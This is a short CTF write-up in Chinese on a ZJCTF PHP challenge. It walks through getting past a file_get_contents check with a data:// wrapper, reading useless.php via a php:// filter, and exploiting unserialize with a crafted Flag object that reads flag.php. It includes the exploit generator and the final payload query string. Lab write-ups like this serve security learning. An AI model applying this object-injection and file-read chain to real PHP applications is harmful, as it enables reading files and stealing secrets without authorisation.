题目链接
查看源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
5行检测file_get_contents($text)
11行文件包含
12行反序列化
伪协议
通过data协议绕过file_get_contents
条件判断
通过php协议查看useless.php(代码提示)
内容
解码得到 useless.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
由index.php
12-13行,我们可以触发__tostring
exp 1 2 3 4 5 6 7 8 9 10 <?php class Flag { public $file ="flag.php" ; } $a = new Flag ;echo serialize ($a ) . "\n" ;echo urlencode (serialize ($a )) . "\n" ;
1 2 3 ?text=data: &file=useless.php &password=O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}